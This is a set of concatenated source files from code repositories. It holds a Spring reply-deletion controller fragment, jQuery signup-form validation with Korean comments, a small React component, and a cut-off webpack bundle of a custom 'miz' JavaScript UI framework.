modifyCount==1 ? new ResponseEntity<>("success", HttpStatus.OK) :new ResponseEntity<>(HttpStatus.INTERNAL_SERVER_ERROR); } // 댓글 삭제 @DeleteMapping(value="/{rno}", produces={MediaType.TEXT_PLAIN_VALUE}) public ResponseEntity<String> remove(@PathVariable("rno") int rno) { logger.info("rno"+rno); int removeCount = rservice.remove(rno); return removeCount==1 ? new ResponseEntity<>("success", HttpStatus.OK) :new ResponseEntity<>(HttpStatus.INTERNAL_SERVER_ERROR); } } <file_sep>// var userId = document.querySelector("#join_id"); // var pw1 = document.querySelector("#join_pw1"); // var pw2 = document.querySelector("#join_pw2"); // userId.onchange = checkId; // pw1.onchange = checkPw; // pw2.onchange = comparePw; // 조건 미충족시 alert 알림 // function checkId() { // if (userId.value.length < 4 || userId.value.length > 15) { // alert ("ID는 4~15자리의 영문과 숫자를 입력하세요"); // userId.select(); // 알림이 뜬 뒤로 다시 유저 아이디가 선택된다. select() : 사용자가 기존에 입력한 값을 입력 // } // }; // function checkPw() { // if (pw1.value.length < 8) { // alert ("비밀번호는 8자리 이상이어야 합니다."); // pw1.value = ""; // 8자리 미만으로 작성 시 작성했던 내용들이 지워진다. // pw1.focus(); // focus() : 새로운 값을 입력하도록 커서를 가져다 놓는 역할 // } // }; // function comparePw() { // if (pw1.value != pw2.value) { // alert ("암호가 다릅니다. 다시 입력하세요."); // pw2.value = ""; // pw2.focus(); // } // }; $(document).ready(function() { // 언어 변경 select박스 클릭시 테두리 색 변경 $("#login_lang_in").focus(function() { $(this).css({border: '1px solid #680000'}) }).blur(function() { $(this).css({border: '1px solid #ccc'}) }); }); // input에 focus일 때 테두리 색 변경 $(document).ready(function() { $("#join_id, #join_pw1, #join_pw2, #join_name, #gender").focus(function() { $(this).parent('div').css({border: '1px solid #680000'}) }).blur(function() { $(this).parent('div').css({border: '1px solid #ccc'}) }) }); $(function() { $("#birth_year, #birth_month, #birth_day").focus(function() { $(this).parent('li').css({border: '1px solid #680000'}) }).blur(function() { $(this).parent('li').css({border: '1px solid #ccc'}) }) }); // 조건 미충족시 경고문 $(document).ready(function() { // 아이디 유효성 검사 정규식 (대소문자+숫자조합 4~12자) var reg_id = RegExp(/^[a-z]+[a-z0-9]{4,12}$/); // 비밀번호 유효성 검사 정규식(숫자, 영문, 특수문자 각각 하나씩 사용해야한다.) var reg_pw = RegExp(/^(?=.*[a-zA-z])(?=.*[0-9])(?=.*[$`~!@$!%*#^?&\\(\\)\-_=+]).{8,16}$/); // 이름 유효성 검사 정규식 var reg_name = RegExp(/^[가-힣]{2,4}$/); // 생년월일(year) 유효성 검사 정규식 var reg_year = RegExp(/^([0-9]{4})$/); // 생년월일(day) var reg_day = RegExp(/^([0-9]{2})$/); // id 유효성 검사 $("#join_id").on("blur", function() { var id=$("#join_id").val(); if(reg_id.test(id)) { $("#checkId").html("사용가능합니다."); $("#checkId").css("color", "blue"); } else { $("#checkId").html("*아이디는 영문자로 시작하는 4~12자 영문자 또는 숫자이어야 합니다.") } }); // 비밀번호 유효성 검사 $("#join_pw1").on("blur", function() { var pw1=$("#join_pw1").val(); if(reg_pw.test(pw1)) { $("#checkPw1").html("사용가능합니다."); $("#checkPw1").css("color", "blue"); } else { $("#checkPw1").html("*숫자, 영문, 특수문자 각 1자리 이상이면서 8~16자 사이를 입력해주세요.") } }); // 비밀번호 확인 유효성 검사 $("#join_pw2").on("blur", function() { var pw1=$("#join_pw1").val(); var pw2=$("#join_pw2").val(); if(pw2 == "") { $("#checkPw2").html("*비밀번호를 입력해주세요."); } else if (pw2 == pw1) { $("#checkPw2").html("비밀번호가 일치합니다."); $("#checkPw2").css("color", "blue"); } else { $("#checkPw2").html("*비밀번호가 틀립니다. 다시 입력해주세요."); } }); // 이름 유효성 검사 $("#join_name").on("blur", function() { var name=$("#join_name").val(); if(reg_name.test(name)) { $("#checkName").html("확인되었습니다."); $("#checkName").css("color", "blue"); } else { $("#checkName").html("*한글 이름 2~4자 이내로 입력해주세요."); } }); // 생년월일 유효성 검사 $("#birth_year, #birth_month, #birth_day").on("blur", function() { var birth_year=$("#birth_year").val(); var birth_month=$("#birth_month").val(); var birth_day=$("#birth_day").val(); if(birth_year=="" || birth_month=="" || birth_day=="") { $("#checkBirth").html("*생년월일을 입력해주세요.(연도는 4자리 일은 2자리)"); } else { if(reg_year.test(birth_year) && reg_day.test(birth_day)) { $("#checkBirth").html("확인되었습니다."); $("#checkBirth").css("color", "blue"); } else { $("#checkBirth").html("*생년월일을 입력해주세요.(연도는 4자리 일은 2자리)"); } } }); // 성별 유효성 검사 $("#gender").on("blur", function() { var gender=$("#gender").val(); if(gender=="") { $("#checkGender").html("*성별을 선택해주세요."); } else { $("#checkGender").html("확인되었습니다."); $("#checkGender").css("color", "blue"); } }); })
b1343df3baef61533298dc5167f30fd66fc57a3a
[ "JavaScript", "Java" ]
8
Java
jmk0206/InviLife
a3aae5b5dedb7f61c9a8a3c331ac553747d7c565
2ded67b1b1175e60d7a69453f76cf524a874504f
refs/heads/master
<file_sep>import React, { Component } from 'react' import './App.css' import Person from './Person' class App extends Component { render() { return ( <div className="App"> <Person // organization={'ReactDev'} firstName={'Rabindra'} lastName={'Joshi'} gender={'secret'} /> </div> ) } } export default App
4ab95a913d9f02d45ff1320f17784df182305bc8
[ "JavaScript" ]
1
JavaScript
therj/proptypes-validation
9d96579e83e32bd1fd49485aafff3f4ef26cfccc
612c0d6d76db861353b630490d180f756a77ce3c
refs/heads/master
<repo_name>gor8808/GetSerialsFormWebHtmlParser<file_sep>/GetSerialsFormWebHtmlParser/MainWindow.xaml.cs using HtmlAgilityPack; using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Reflection; using System.Runtime.InteropServices; using System.Windows; using System.Windows.Controls; using System.Windows.Input; namespace GetSerialsFormWebHtmlParser { /// <summary> /// Interaction logic for MainWindow.xaml /// </summary> public partial class MainWindow { public List<string> URLs = new List<string>(); public MainWindow() { InitializeComponent(); } #region Client setup public static void SetSilent(WebBrowser browser, bool silent) { if (browser == null) { throw new ArgumentNullException("browser"); } // get an IWebBrowser2 from the document IOleServiceProvider sp = browser.Document as IOleServiceProvider; if (sp != null) { Guid IID_IWebBrowserApp = new Guid("0002DF05-0000-0000-C000-000000000046"); Guid IID_IWebBrowser2 = new Guid("D30C1661-CDAF-11d0-8A3E-00C04FC9E26E"); object webBrowser; sp.QueryService(ref IID_IWebBrowserApp, ref IID_IWebBrowser2, out webBrowser); if (webBrowser != null) { webBrowser.GetType().InvokeMember("Silent", BindingFlags.Instance | BindingFlags.Public | BindingFlags.PutDispProperty, null, webBrowser, new object[] { silent }); } } } [ComImport, Guid("6D5140C1-7436-11CE-8034-00AA006009FA"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] private interface IOleServiceProvider { [PreserveSig] int QueryService([In] ref Guid guidService, [In] ref Guid riid, [MarshalAs(UnmanagedType.IDispatch)] out object ppvObject); } #endregion private async void SearchClick(object sender, RoutedEventArgs e) { URLs = new List<string>(); if (string.IsNullOrWhiteSpace(TxtSearch.Text)) { return; } var queryString = WebUtility.UrlEncode(TxtSearch.Text); var htmlWeb = new HtmlWeb(); var query = $"http://fanserial.net/search/?query={TxtSearch.Text}"; var doc = await htmlWeb.LoadFromWebAsync(query); var results = doc.DocumentNode.SelectNodes("//div[@class='search-dark-list']"); if (results == null) { LbxResults.ItemsSource = null; return; } var items = results[0].SelectNodes("//div[@class='item-search-serial']"); if (items == null) { LbxResults.ItemsSource = null; return; } var searchResults = new List<SearchResult>(); int i = 0; foreach (var singleItem in items) { string aInnerHtml = singleItem.SelectNodes("//div[@class='field-img']")[i]. Element("a").InnerHtml; string imageUrl = GetUrlFromTag(aInnerHtml); var itemNameTag = singleItem.SelectNodes("//div[@class='serial-info']")[i].Element("div"). SelectNodes("//div[@class='item-search-header']")[i].Element("h2").Element("a"); string itemName = itemNameTag.InnerText; string itemNameInEnglis = singleItem.SelectNodes("//div[@class='serial-info']")[i].Element("div"). SelectNodes("//div[@class='item-search-header']")[i].SelectNodes("//div[@class='name-origin-search']")[i].InnerText; string itemUrl = $"http://fanserial.net/{itemNameInEnglis.ToLower().Replace(" ", "")}/"; string itemDescription = singleItem.SelectNodes("//div[@class='serial-info']")[i].SelectNodes("//div[@class='text_ssb']")[i]. Element("p").InnerText; URLs.Add(itemUrl); searchResults.Add(new SearchResult() { Source = imageUrl, Name = $"{itemName}({itemNameInEnglis})", NameOfRow = $"_{i}", Description = itemDescription }); i++; } LbxResults.ItemsSource = searchResults; } private string GetUrlFromTag(string aInnerHtml) { int count = 0; var indexes = new List<int>(aInnerHtml.Length); for (int i = 0; i < aInnerHtml.Length; i++) { if (aInnerHtml[i] == '\"') { indexes.Add(i); count++; } if (count == 2) { break; } } string src = aInnerHtml.Substring(indexes[0] + 1, indexes[1] - indexes[0] - 1); return src; } private void Grid_MouseLeftButtonUp(object sender, MouseButtonEventArgs e) { Grid grid = (Grid)sender; var item = grid.Children.Cast<Label>() .Where(i => i.Visibility == Visibility.Hidden); Label label = item.First(); int index = Convert.ToInt32( Convert.ToString( label.Content).Substring(1) ); System.Diagnostics.Process.Start(URLs[index]); } } } <file_sep>/GetSerialsFormWebHtmlParser/SearchResult.cs namespace GetSerialsFormWebHtmlParser { internal class SearchResult { public string Source { get; set; } public string Name { get; set; } public string NameOfRow { get; set; } public string Description { get; set; } } } <file_sep>/README.md # GetSerialsFormWebHtmlParser Html parser wich returns serial by it name and show in wpf
67cc7f02eb69c19696c19935d9fe6deeaa40b92e
[ "Markdown", "C#" ]
3
C#
gor8808/GetSerialsFormWebHtmlParser
a935864ab269786374819b057c34ac0cd7e7f107
bdc4b7f78adac8a0ae39d9b8a1d6196f41f2f59c
refs/heads/master
<file_sep>'use strict'; /** * Create Time 2016-10-20 * Write Name <NAME> * Email <EMAIL> */ import config from '../../config' import error from '../../error' import lang from '../basic/lang' import query from '../query' let on = (target, type, listener, dontFix = false) => { if (!lang.isFunction(listener)) return error('on', 'listener not is Function') target = query(target) target.forEach((item) => { item.addEventListener(type, listener, dontFix) }) // 返回用于处理清除事件的方法 return { destroy: () => { target.forEach((item) => { item.removeEventListener(type, listener, dontFix) }) } } } lang.setObject(config.getObjectName('base.event.on'), 1, on) export default on <file_sep>"use strict"; /** * Create Time 2016-06-26 * Write Name <NAME> * Email <EMAIL> */ import config from '../config' import error from '../error' import lang from '../base/basic/lang' import header from '../header' let loader = (URL, loading = () => {}, params = {}) => { let init = { suffix: params.suffix || [], verfiy: params.verfiy || false } // 类型检测 URL = lang.toArray(URL) if (!lang.isFunction(loading)) return error(null, 'loading type not is Funtion') if (!lang.isArray(init.suffix)) return error(null, 'params.suffix type not is Array') if (!lang.isBoolean(init.verfiy)) return error(null, 'params.verfiy type not is Boolean') return new Promise((resolve, reject) => { let num = 0 let data = { complete: [], error: [] } URL.forEach((URI) => { // 获得文件的后缀名 let suffix = URI.split('.').pop() // 加载文件 let load = () => { var headers = new Headers(); headers.append('Content-Type', header[suffix]); let req = new Request(URL, { method: 'GET', headers: headers, mode: 'cors', cache: 'default' }) fetch(req).then((request) => { ++num data.complete.push(request) if (URL.length === num) resolve(data.complete) }).catch((request) => { ++num data.error.psuh(request) if (URL.length === num) reject(data.error) }) } // 如果启用了后缀验证 不通过的直接跳过 init.verfiy ? init.suffix.indexOf(suffix) === -1 ? ++num : load() : load() }) }) } lang.setObject(config.getObjectName('plug.loader'), 1, loader) export default loader <file_sep>webpackJsonp([0,1],[ /* 0 */ /***/ function(module, exports, __webpack_require__) { "use strict"; /** * Create Time 2016-06-20 * Write Name <NAME> * Email <EMAIL> */ __webpack_require__(1); __webpack_require__(5); __webpack_require__(7); __webpack_require__(9); var _View2 = __webpack_require__(15); var _View3 = _interopRequireDefault(_View2); var _loader = __webpack_require__(25); var _loader2 = _interopRequireDefault(_loader); __webpack_require__(26); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } new _View3.default(); new window.view[_loader2.default.hash](); /***/ }, /* 1 */ /***/ function(module, exports) { // removed by extract-text-webpack-plugin /***/ }, /* 2 */, /* 3 */, /* 4 */, /* 5 */ /***/ function(module, exports) { // removed by extract-text-webpack-plugin /***/ }, /* 6 */, /* 7 */ /***/ function(module, exports) { // removed by extract-text-webpack-plugin /***/ }, /* 8 */, /* 9 */ /***/ function(module, exports, __webpack_require__) { 'use strict'; /** * Create Time 2016-06-12 * Write Name <NAME> * Email <EMAIL> */ var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _config = __webpack_require__(10); var _config2 = _interopRequireDefault(_config); var _lang = __webpack_require__(11); var _lang2 = _interopRequireDefault(_lang); var _on = __webpack_require__(12); var _on2 = _interopRequireDefault(_on); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } (function () { // 版本 var version = '1.0.0'; var loca = location; // 定义一个空的方法 var noop = function noop() {}; // 获得所有文件路径 var esAllObject = _config2.default.basic.scripts; var esObject = esAllObject[esAllObject.length - 1]; var getEsUrl = function getEsUrl() { var script = esObject.src; var arr = script.substring(loca.origin.length + 1).split('/'); return arr.slice(0, arr.length - 1).join('/') + '/'; }; // 定义核心路径 var baseUrl = getEsUrl(); // 初始化全局参数 var _global = { baseUrl: baseUrl }; // 获得配置参数 if (undefined === (typeof occConfig === 'undefined' ? 'undefined' : _typeof(occConfig))) { if (_lang2.default.isObject(occConfig)) Object.assign(_global, occConfig); } // 获得当前文件配置 var getEsInit = function getEsInit() { var init = esObject.getAttribute('data-miz-deploy') || ''; return Function('return' + '{' + init + '}')(); }; Object.assign(_global, getEsInit()); _global.version = version; _lang2.default.defineProperty(_lang2.default.getObject(_config2.default.getObjectName(), 1, _config2.default.global), _global); })(); /***/ }, /* 10 */ /***/ function(module, exports) { 'use strict'; /** * Create Time 2016-10-18 * Write Name <NAME> * Email <EMAIL> */ Object.defineProperty(exports, "__esModule", { value: true }); var config = Object.create(null, { baseName: { value: 'miz' }, getObjectName: { value: function value(name) { return name ? this.baseName + '.' + name : this.baseName; } }, // 全局对象 global: { value: window }, // 文本对象 basic: { value: document } }); exports.default = config; /***/ }, /* 11 */ /***/ function(module, exports, __webpack_require__) { 'use strict'; /** * Create Time 2016-10-14 * Write Name <NAME> * Email <EMAIL> */ Object.defineProperty(exports, "__esModule", { value: true }); var _config = __webpack_require__(10); var _config2 = _interopRequireDefault(_config); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } /** * 用于创建设置获取对对象 * @param {[type]} parts [description] * @param {[type]} create [description] * @param {[type]} content [description] * @param {[type]} object [description] * @return {[type]} [description] */ var getProp = function getProp(parts, create, content) { var part = create ? content ? content : _config2.default.global : content ? content : {}; try { for (var i = 0; i < parts.length; i++) { var p = parts[i]; if (!(p in part)) { if (create) { part[p] = Object.create(null, {}); } else { return; // return undefined } } part = part[p]; } return part; } catch (e) { throw new Error(e); } }; var lang = Object.create(null, { type: { value: function value(it) { var o = {}.toString.call(it); var ele = o.split(' ')[1].substr(0, 4); switch (o) { case '[object Object]': return 'object'; case '[object Array]': return 'array'; case '[object RegExt]': return 'regext'; case '[object Number]': return 'number'; case '[object String]': return 'string'; case '[object Null]': return 'null'; case '[object Function]': return 'function'; case '[object Boolean]': return 'boolean'; case '[object Blob]': return 'blob'; default: if (!it) { return '' + it + ''; } else { if (ele === 'HTML' || ele === 'Node') { return 'element'; } else { return 'unkonw'; } } } }, enumerable: true }, isArray: { value: function value(it) { return Array.isArray(it); }, enumerable: true }, isObject: { value: function value(it) { return this.type(it) === 'object'; }, enumerable: true }, isFunction: { value: function value(it) { return this.type(it) === 'function'; }, enumerable: true }, isString: { value: function value(it) { return this.type(it) === 'string'; }, enumerable: true }, isBlob: { value: function value(it) { return this.type(it) === 'blob'; }, enumerable: true }, isElement: { value: function value(it) { return this.type(it) === 'element'; }, enumerable: true }, isNotDef: { value: function value(it) { return this.type(it) === 'undefined' || this.type(it) === 'null' || isNaN(it); }, enumerable: true }, isNumber: { value: function value(it) { return this.type(it) === 'number'; }, enumerable: true }, isBoolean: { value: function value(it) { return this.type(it) === 'boolean'; }, enumerable: true }, // 判断是否为空对象 isEmptyObject: { value: function value(it) { var t = void 0; for (t in it) { return !1; }return !0; }, enumerable: true }, // 将伪数组,字符串等转换成数组 toArray: { value: function value(it) { // 将伪数组转成数组 if (it.length && !this.isArray(it) && !this.isString(it)) { //return Array.apply([], it) return Array.from(it); } else if (this.isArray(it)) { // 是数组直接返回 return it; } else { // 直接存储到数组中 return [it]; } }, enumerable: true }, // 设置对象值 setObject: { value: function value(name) { var create = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; var _value = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : undefined; var context = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : undefined; var parts = name.split("."); var p = parts.pop(); var obj = getProp(parts, create, context); return obj && p ? obj[p] = _value : undefined; }, enumerable: true }, // 获得对象值 如果第二个参数为true 则会为你在window或者传递的参数里创建一个对象 getObject: { value: function value(name) { var create = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; var context = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : undefined; return !name ? context : getProp(name.split("."), create, context); }, enumerable: true }, // 向对象添加可配置的对象 descriptor defineProperty: { value: function value(obj, desc) { for (var i in desc) { var init = { enumerable: true, configurable: false, writable: false, value: null }; if (this.isObject(desc[i]) && desc[i].value) { Object.assign(init, desc[i]); } else { init.value = desc[i]; } Object.defineProperty(obj, i, init); } return obj; }, enumerable: true }, // 创建对象 create: { value: function value(obj, proto) { var value = {}; for (var i in obj) { var init = { enumerable: true, configurable: false, writable: false, value: null }; if (this.isObject(obj[i])) { if (obj[i].get || obj[i].set) { init = obj[i]; } else { Object.assign(init, obj[i]); } } else { init.value = obj[i]; } value[i] = init; } return Object.create(proto || null, value); }, enumerable: true } }); lang.setObject(_config2.default.getObjectName('base.basic.lang'), 1, lang); exports.default = lang; /***/ }, /* 12 */ /***/ function(module, exports, __webpack_require__) { 'use strict'; /** * Create Time 2016-10-20 * Write Name <NAME> * Email <EMAIL> */ Object.defineProperty(exports, "__esModule", { value: true }); var _config = __webpack_require__(10); var _config2 = _interopRequireDefault(_config); var _error = __webpack_require__(13); var _error2 = _interopRequireDefault(_error); var _lang = __webpack_require__(11); var _lang2 = _interopRequireDefault(_lang); var _query = __webpack_require__(14); var _query2 = _interopRequireDefault(_query); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var on = function on(target, type, listener) { var dontFix = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : false; if (!_lang2.default.isFunction(listener)) return (0, _error2.default)('on', 'listener not is Function'); target = (0, _query2.default)(target); target.forEach(function (item) { item.addEventListener(type, listener, dontFix); }); // 返回用于处理清除事件的方法 return { destroy: function destroy() { target.forEach(function (item) { item.removeEventListener(type, listener, dontFix); }); } }; }; _lang2.default.setObject(_config2.default.getObjectName('base.event.on'), 1, on); exports.default = on; /***/ }, /* 13 */ /***/ function(module, exports) { 'use strict'; /** * Create Time 2016-07-10 * Write Name <NAME> * Email <EMAIL> */ Object.defineProperty(exports, "__esModule", { value: true }); exports.default = error; var _module = Object.create(null, { loader: { value: '\n loader parameter is [url:String, callback:Function, ...args] \n ...args length 3 value [Boolean, Boolean, Function] Non mandatory format' }, on: { value: '\n on parameter is [target:Element, type:String, listener:Function, bubble:boolean, dontFix:boolean]' }, query: { value: 'param is [selector, context] selector is class||id||tagName ,context is element' } }); function error(moduleName, errorInfo) { throw new Error(errorInfo + (_module[moduleName] || '')); } /***/ }, /* 14 */ /***/ function(module, exports, __webpack_require__) { "use strict"; /** * Create Time 2016-06-17 * Write Name <NAME> * Email <EMAIL> */ Object.defineProperty(exports, "__esModule", { value: true }); var _config = __webpack_require__(10); var _config2 = _interopRequireDefault(_config); var _error = __webpack_require__(13); var _error2 = _interopRequireDefault(_error); var _lang = __webpack_require__(11); var _lang2 = _interopRequireDefault(_lang); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var query = function query(selector, context) { if (context) { // 必须是节点 而且长度为undefined if (_lang2.default.isElement(context) && _lang2.default.isNotDef(context.length)) { return context.querySelectorAll(selector); } else { (0, _error2.default)('query', 'context not is Element'); } } else { return _lang2.default.isElement(selector) ? selector.length ? selector : [selector] : _config2.default.basic.querySelectorAll(selector); } }; _lang2.default.setObject(_config2.default.getObjectName('base.query'), 1, query); exports.default = query; /***/ }, /* 15 */ /***/ function(module, exports, __webpack_require__) { "use strict"; /** * Create Time 2016-06-20 * Write Name <NAME> * Email <EMAIL> */ Object.defineProperty(exports, "__esModule", { value: true }); var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _brower = __webpack_require__(16); var _brower2 = _interopRequireDefault(_brower); var _config = __webpack_require__(10); var _config2 = _interopRequireDefault(_config); var _lang = __webpack_require__(11); var _lang2 = _interopRequireDefault(_lang); var _dom = __webpack_require__(17); var _dom2 = _interopRequireDefault(_dom); var _construct = __webpack_require__(18); var _construct2 = _interopRequireDefault(_construct); var _attr = __webpack_require__(19); var _attr2 = _interopRequireDefault(_attr); var _class = __webpack_require__(20); var _class2 = _interopRequireDefault(_class); var _style = __webpack_require__(21); var _style2 = _interopRequireDefault(_style); var _on = __webpack_require__(12); var _on2 = _interopRequireDefault(_on); var _FieldPane = __webpack_require__(22); var _FieldPane2 = _interopRequireDefault(_FieldPane); var _loader = __webpack_require__(23); var _loader2 = _interopRequireDefault(_loader); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } // 创建用于存放所有视图的盒子 var _view = _construct2.default.create('div', { style: { height: '100%', width: '100%', position: 'absolute' } }, _dom2.default.byOne('body')); var index = 0; var classes = 'mui.View._View'; var _View = function () { function _View() { _classCallCheck(this, _View); // 初始化参数 this.classes = classes; this.domNode = _construct2.default.create('div', { registId: classes + '_' + index++, style: { height: '100%', width: '100%', position: 'absolute', 'background-color': '#ccc', top: '0px' } }, _view); // 视图分配 this.childNodes = new _FieldPane2.default({ parent: this.domNode, number: 3, rank: 'lengthways', planView: 1 }); } // 添加图片 _createClass(_View, [{ key: 'addFullImage', value: function addFullImage() { var params = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; var dom = _construct2.default.create('img', { style: { 'max-width': _brower2.default.GL_SC_WIDTH } }, this.childNodes[1]); if (params && params.url) { (0, _loader2.default)(params.url).then(function (request) { request.forEach(function (uri) { _attr2.default.set(dom, 'src', uri.url); }); }); } } }, { key: 'addLists', value: function addLists() { var params = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; var dom = _construct2.default.create('ul', { class: 'miz_list_box ' + (params.class || '') }, this.childNodes[1]); if (params.lists && _lang2.default.isArray(params.lists)) { (function () { var child = void 0; var child_node = void 0; params.lists.forEach(function (item) { child = _construct2.default.create('li', { class: 'miz_list_details ' + (item.class || '') }, dom); if (item.class) { _class2.default.add(child, item.class); } if (_lang2.default.isObject(item.left)) { child_node = _construct2.default.create('div', { class: 'list_left ' + (item.left.class || ''), innerHTML: item.left.label }, child); // 给节点追加事件 if (item.left.onClick && _lang2.default.isFunction(item.left.onClick)) { (0, _on2.default)(child_node, 'click', item.left.onClick); } } if (_lang2.default.isObject(item.right)) { var type = ['text', 'number', 'password', 'submit']; if (type.indexOf(item.right.type) !== -1) { child_node = _construct2.default.create('input', { class: item.right.class || '', type: item.right.type, placeholder: item.right.placeholder || '' }, child); } else if (item.right.label) { child_node = _construct2.default.create('div', { class: 'list_right ' + (item.right.class || ''), innerHTML: item.right.label }, child); } // 给节点追加事件 if (item.right.onClick && _lang2.default.isFunction(item.right.onClick)) { (0, _on2.default)(child_node, 'click', item.right.onClick); } } }); })(); } // 高度居中 if (params.liebetween) { var height = _brower2.default.height; var cHeight = _style2.default.get(dom, 'offsetHeight'); _style2.default.set(dom, { top: (height - cHeight) / 2 + 'px', position: 'absolute' }); } // 宽度居中 if (params.center) { var width = _brower2.default.width; var cWidth = _style2.default.get(dom, 'offsetWidth'); _style2.default.set(dom, { left: (width - cWidth) / 2 + 'px', position: 'absolute' }); } return dom; } }]); return _View; }(); _lang2.default.setObject(_config2.default.getObjectName(classes), 1, _View); exports.default = _View; /***/ }, /* 16 */ /***/ function(module, exports, __webpack_require__) { "use strict"; /** * Create Time 2016-10-20 * Write Name <NAME> * Email <EMAIL> */ Object.defineProperty(exports, "__esModule", { value: true }); var _config = __webpack_require__(10); var _config2 = _interopRequireDefault(_config); var _lang = __webpack_require__(11); var _lang2 = _interopRequireDefault(_lang); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var brower = Object.create(null, { // 浏览器可见高度 height: { get: function get() { return _config2.default.basic.documentElement.clientHeight; } }, // 浏览器可见宽度 width: { get: function get() { return _config2.default.basic.documentElement.clientWidth; } }, // 显示器宽度 GL_SC_HEIGHT: { value: _config2.default.global.screen.height }, // 显示器高度 GL_SC_WIDTH: { value: _config2.default.global.screen.width }, // 用于获得浏览器平台 redirect: { get: function get() { var sUserAgent = navigator.userAgent.toLowerCase(); return (/\(([^\(\)]*)\)/.test(sUserAgent) && RegExp.$1 ); } }, // 判断PC平台 isPC: { get: function get() { var mobile = this.redirect.match(/ipad/i) || this.redirect.match(/iphone os/i) || this.redirect.match(/midp/i) || this.redirect.match(/rv:1.2.3.4/i) || this.redirect.match(/ucweb/i) || this.redirect.match(/android/i) || this.redirect.match(/windows ce/i) || this.redirect.match(/windows mobile/i) || this.redirect.match(/windows phone/i); return !mobile; } }, // 判断手机平台 isMobile: { get: function get() { return !this.isPC; } } }); _lang2.default.setObject(_config2.default.getObjectName('brower'), 1, brower); exports.default = brower; /***/ }, /* 17 */ /***/ function(module, exports, __webpack_require__) { "use strict"; /** * Create Time 2016-10-19 * Write Name <NAME> * Email <EMAIL> */ Object.defineProperty(exports, "__esModule", { value: true }); var _config = __webpack_require__(10); var _config2 = _interopRequireDefault(_config); var _error = __webpack_require__(13); var _error2 = _interopRequireDefault(_error); var _lang = __webpack_require__(11); var _lang2 = _interopRequireDefault(_lang); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var dom = _lang2.default.create({ byOne: function byOne(node) { if (_lang2.default.isElement(node) && !node.length) { return node; } else { if (_lang2.default.isString(node)) { return _config2.default.basic.querySelector(node); } else { (0, _error2.default)(null, 'node type error'); } } } }); _lang2.default.setObject(_config2.default.getObjectName('base.dom'), 1, dom); exports.default = dom; /***/ }, /* 18 */ /***/ function(module, exports, __webpack_require__) { "use strict"; /** * Create Time 2016-06-20 * Write Name <NAME> * Email <EMAIL> */ Object.defineProperty(exports, "__esModule", { value: true }); var _config = __webpack_require__(10); var _config2 = _interopRequireDefault(_config); var _error = __webpack_require__(13); var _error2 = _interopRequireDefault(_error); var _dom = __webpack_require__(17); var _dom2 = _interopRequireDefault(_dom); var _lang = __webpack_require__(11); var _lang2 = _interopRequireDefault(_lang); var _attr = __webpack_require__(19); var _attr2 = _interopRequireDefault(_attr); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var domConstruct = _lang2.default.create({ create: function create(tag, attr, parent) { var fashion = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : 'after'; var node = _config2.default.basic.createElement(tag); _attr2.default.set(node, attr); if (parent) this.append(node, parent, fashion); return node; }, append: function append(node, parent) { var fashion = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 'after'; switch (fashion) { case 'after': if (_lang2.default.isElement(node) && _lang2.default.isElement(parent)) { _dom2.default.byOne(parent).appendChild(node); } else { (0, _error2.default)(null, 'node or parent not is Element'); } break; default: (0, _error2.default)(null, "domConstruct.appendChild fashion not define"); } }, // 销毁节点 destroy: function destroy(node) { _dom2.default.byOne(node).remove(); }, // 把这个节点追加到指定对象 placeAt: function placeAt(node, parent) { this.append(node, parent); } }); _lang2.default.setObject(_config2.default.getObjectName('base.dom.construct'), 1, domConstruct); exports.default = domConstruct; /***/ }, /* 19 */ /***/ function(module, exports, __webpack_require__) { "use strict"; /** * Create Time 2016-10-17 * Write Name <NAME> * Email <EMAIL> */ Object.defineProperty(exports, "__esModule", { value: true }); var _config = __webpack_require__(10); var _config2 = _interopRequireDefault(_config); var _lang = __webpack_require__(11); var _lang2 = _interopRequireDefault(_lang); var _dom = __webpack_require__(17); var _dom2 = _interopRequireDefault(_dom); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var alias = _lang2.default.create({ classname: 'class' }); var exception = ['width', 'height', 'max-width', 'min-width', 'max-height', 'min-height', 'line-height']; var domAttr = _lang2.default.create({ set: function set(node, name) { var value = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : ''; var item = _dom2.default.byOne(node); var getVal = function getVal(key, value) { return exception.indexOf(key) !== -1 ? _lang2.default.isNumber(value) ? value + 'px' : value : value; }; if (_lang2.default.isObject(name)) { for (var e in name) { if (e === 'style') { for (var i in name[e]) { item.style[i] = getVal(i, name[e][i]); } } else if (e === 'innerHTML') { item[e] = name[e]; } else { 